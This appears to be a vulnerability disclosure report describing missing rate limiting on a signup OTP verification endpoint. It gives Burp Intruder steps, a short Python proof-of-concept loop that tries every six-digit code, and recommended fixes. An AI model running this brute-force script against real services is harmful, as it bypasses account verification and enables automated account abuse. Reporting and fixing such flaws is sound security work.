Severity: High
Vulnerability Type: Improper Rate Limiting / OTP Brute Force
Summary
The verification endpoint used during the signup process is vulnerable to brute force attacks. The passcode parameter can be repeatedly guessed without any effective rate limiting, account lockout, or CAPTCHA protection. This allows an attacker to automate requests and eventually discover the correct verification code.
Affected Endpoint
POST /signupsExample request:
POST /signups HTTP/2
Host: example.com
Content-Type: application/json
X-Requested-With: XMLHttpRequest
{"passcode":"153513"}Example response when the code is invalid:
HTTP/2 422 Unprocessable Entity
Invalid verification codeSteps to Reproduce
- Start the signup process on example.
- Intercept the verification request using a proxy (e.g., Burp Suite).
- Send the request to Intruder.
- Set the payload position on the
passcodeparameter. - Use a numeric payload list (e.g., 000000–999999).
- Launch the attack.
Observation:
- The endpoint accepts unlimited attempts.
- No CAPTCHA challenge is triggered.
- No account lockout occurs.
- No IP rate limiting is observed.
Impact
An attacker could brute force the verification code and bypass the account verification step. This may allow attackers to:
- Create or verify accounts without access to the legitimate email/phone.
- Hijack the signup verification process.
- Abuse automated account creation.
Proof of Concept (Example Script)
import requests
url = "https://example.com/signups"
for i in range(1000000):
code = str(i).zfill(6)
r = requests.post(url, json={"passcode": code})
if "Invalid verification code" not in r.text:
print("Valid code found:", code)
breakRecommended Fix
Implement strong protections against brute force attacks:
- Rate limiting per IP and per account
- Temporary lockout after multiple failed attempts
- CAPTCHA after several failures
- Limit OTP attempts (e.g., 5 attempts)
- Short OTP expiration time
References
- OWASP Authentication Cheat Sheet
- OWASP Automated Threats to Web Applications